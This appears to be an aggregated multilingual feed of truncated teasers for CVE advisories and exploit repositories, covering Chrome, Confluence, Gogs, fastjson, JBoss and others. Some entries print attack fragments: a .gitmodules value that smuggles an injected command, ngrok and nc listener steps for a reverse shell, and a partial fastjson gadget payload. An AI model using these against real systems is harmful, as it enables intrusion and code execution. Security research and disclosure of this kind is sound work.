CVE-2026-84324

A flaw was found in Google Chrome's Proxy component. This use-after-free vulnerability allows a remote attacker to execute arbitrary code outside the sandbox. By sending specially crafted network traffic, an attacker can exploit this flaw, potentially gaining control over the affected system...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-调查 OpenWire 实验室 在我担任二级安全运营中心（SOC）分析师期间，我收到了一名一级分析师上报的事件，涉及一台可公开访问的服务器，该服务器被观察到与多个可疑的外部 IP 地址进行通信。 对此，我启动了标准的事件响应（IR）流程，包括将该受影响服务器与网络隔离，以防止横向移动和潜在的数据外泄。随后，我从 NSM 平台获取了一份数据包捕获（PCAP）文件以作进一步调查。 我的目标是分析网络流量，并识别任何恶意活动指标。 1. 识别第一个可疑的外部 IP 地址 在分析网络流量并审查与该服务器建立的连接后，我识别出与 OpenWire...

thm-ice-icecast-rce-privesc

TryHackMe — Ice: Icecast 2.0.1 RCE & Windows Privilege Escalation Platform: TryHackMe Target OS: Windows 7 / Windows Server 2008 R2 Difficulty: Easy Category: Buffer Overflow RCE, Local Privilege Escalation Summary This report documents the full compromise of the Ice machine on TryHackMe, from...

cve-2023-51385

验证CVE-2023-51385 首先需要在/.ssh/config中增加如下内容 root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules文件语句中存在命令注入 root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 配置完成后,执行下面的指令触发 root@kitploit: git clone...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

从盲SSRF到远程代码执行（Shellshock）——专业漏洞赏金报告 此仓库包含一份专业的漏洞赏金报告，演示了成功利用盲SSRF漏洞，该漏洞触及了存在Shellshock（CVE-2014-6271）漏洞的内部CGI端点。通过带外（OAST）DNS回调确认了远程命令执行，展示了完整的攻击链和技术分析。...

session_reaper_lab

CVE-2025-54236 - SessionReaper 实验室 用于演示 CVE-2025-54236 SessionReaper 的 Docker 环境：Magento Open Source 2.4.7 中的 PHP 对象反序列化导致 RCE。 仅限在受控环境中使用。未经明确授权，请勿针对系统执行。 关于漏洞 CVE-2025-54236 影响 Magento Open Source 和 Adobe Commerce 直至 2.4.7 版本。ServiceInputProcessor::getConstructorData 方法接受通过 JSON 传递的嵌套参数，允许覆盖...

Pwn2Own-Auto-2024-CHARX

Pwn2Own Automotive 2024 CHARX 漏洞利用 该漏洞利用已在 Pwn2Own Automotive 2024 期间针对 Phoenix Contact CHARX SEC-3100 成功提交。 随附的博客文章介绍了我们部分研究过程以及所发现漏洞的详细信息， 后续的文章则介绍了实际使用的漏洞利用技术。 运行该漏洞利用需要： CHARX 运行固件 1.5.0 python3 / scapy scapy 需要 root 权限才能发送原始数据包 攻击机直接连接到 CHARX 的 ETH1 以太网端口 攻击机配置 IP 为 192.168.4.2 漏洞利用成功后，将有一个以...

Apache-OFBiz-Directory-Traversal-exploit

Apache-OFBiz-Directory-Traversal-exploit 在 Apache OFBiz 18.12.12 及之前版本中发现了一个被归类为严重的漏洞。该问题影响的是一个未知功能。通过对未知输入的操作导致了路径遍历漏洞。产品使用外部输入来构造路径名，该路径名旨在标识受限制父目录下的文件或目录，但产品未能正确中和路径名中的特殊元素，这些元素可能导致路径名解析到受限制目录之外的位置。受影响的是机密性、完整性和可用性。 介绍 CVE-2024-32113 漏洞允许攻击者通过发送特制的HTTP请求在Apache OFBiz服务器上执行任意代码。 在此请求中，攻击者使用参数...

CVE-2026-0073

0-Click RCE no Android Vulnerabilidade crítica CVE‑2026‑0073 no ADB do Android, uma falha de bypass de autenticação na verificação de certificado TLS do daemon adbd, especificamente na função adbdtlsverifycert verificação do certificado TLS faz a depuração sem fio Wireless Debugging aceitar um...

CVE-2026-14560

The teddy-bear-customize-addon WordPress plugin through 1.0.5 does not properly validate uploaded files, relying on a client-supplied content type and preserving the original filename, allowing unauthenticated attackers to upload arbitrary PHP files and execute code on the server...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X反序列化反弹shell版 根据作者命令行模式改写gui界面 detail:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big漏洞利用工具GUI版v1.0 工具使用说明 命令执行第地方，如果第一次执行失败可以多执行几次 批量目标地址检测 执行反弹 单个目标地址检测 文件上传 软件下载地址 链接: https://pan.baidu.com/s/1fqbcKQymxymG3z4E0vsVw 密码: nmih...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC 针对 CVE-2025-8110 的 PoC：Gogs ≤ 0.13.3 存在经过身份验证的任意文件写入漏洞，根源在于 PutContents API 对符号链接的处理不当。 经过身份验证的用户可以提交一个指向 .git/config 的符号链接，然后使用该 API 覆盖它并注入恶意的 sshCommand，从而实现远程代码执行。 免责声明 仅用于教育和授权测试。请勿对非您所有或未经明确许可的系统使用。 用法 root@kitploit: chmod +x poc.sh ./poc.sh \ -i \ -P \ ...

golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass

A flaw was found in golang.org/x/net/html. When arbitrary HTML is parsed and then rendered, it can result in an unexpected HTML tree. This allows an attacker to bypass HTML sanitization mechanisms, leading to Cross-Site Scripting XSS attacks in applications. Such attacks can result in information...

golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting

A flaw was found in golang.org/x/net/html. A remote attacker could exploit this vulnerability by providing specially crafted HTML. When this arbitrary HTML is parsed and rendered, it can result in an unexpected HTML tree, bypassing input sanitization. This can be leveraged to execute Cross-Site...

winsos-poc

WinSOS 该技术利用 WinSxS 文件夹中通常受 Windows 信任的可执行文件，来利用经典的 DLL 搜索顺序劫持方法。借助这些可执行文件，威胁行为者可以在无需提升权限的情况下，在 Windows 应用程序内执行恶意代码。 这种方法无需在攻击链中引入额外的二进制文件，并支持从任意位置执行恶意代码。它同时兼容 Windows 10 和 Windows 11，并且能够规避防御软件和应急响应人员的检测，因为恶意代码运行在受信任二进制文件的内存空间中。该技术简化了经典的 DLL 搜索顺序劫持，并利用了 Windows 原生功能，而无需直接利用操作系统漏洞。 参考资料 Windows...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC real Uso Descargar bun https://github.com/oven-sh/bun/releases Iniciar ngrok root@kitploit: ngrok tcp 4444 Escuchar en localhost 4444 root@kitploit: nc -nvlp 4444 Ejecutar exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost...

FastJsonAutoTypeBypass

这是什么 本项目用于研究如何绕过 fastJSON 的 AutoType 检查。 Gadget 信息 Mapping 仅适用于 fastjson 1.2.47： root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type": "java.lang.Class", \n" + "...

panos-captive-portal-rce

CVE-2026-0300 — PAN-OS User-ID 强制门户缓冲区溢出 RCE 扫描器...

PaperCut Replaces Emergency Patches With Fixes for Two Actively Exploited Flaws

PaperCut on Thursday released a new security maintenance release that replaces all previously published emergency patches that were pushed to address two security flaws that have come under active exploitation. The software development company said PaperCut NG/MF versions 26.0.5, 25.0.13 and...